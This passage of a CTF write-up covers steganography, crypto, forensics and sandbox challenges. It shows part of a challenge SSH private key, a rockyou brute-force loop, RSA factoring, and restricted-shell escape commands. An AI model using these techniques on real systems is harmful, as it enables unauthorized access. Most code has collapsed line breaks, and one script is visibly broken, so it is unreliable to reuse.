oa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
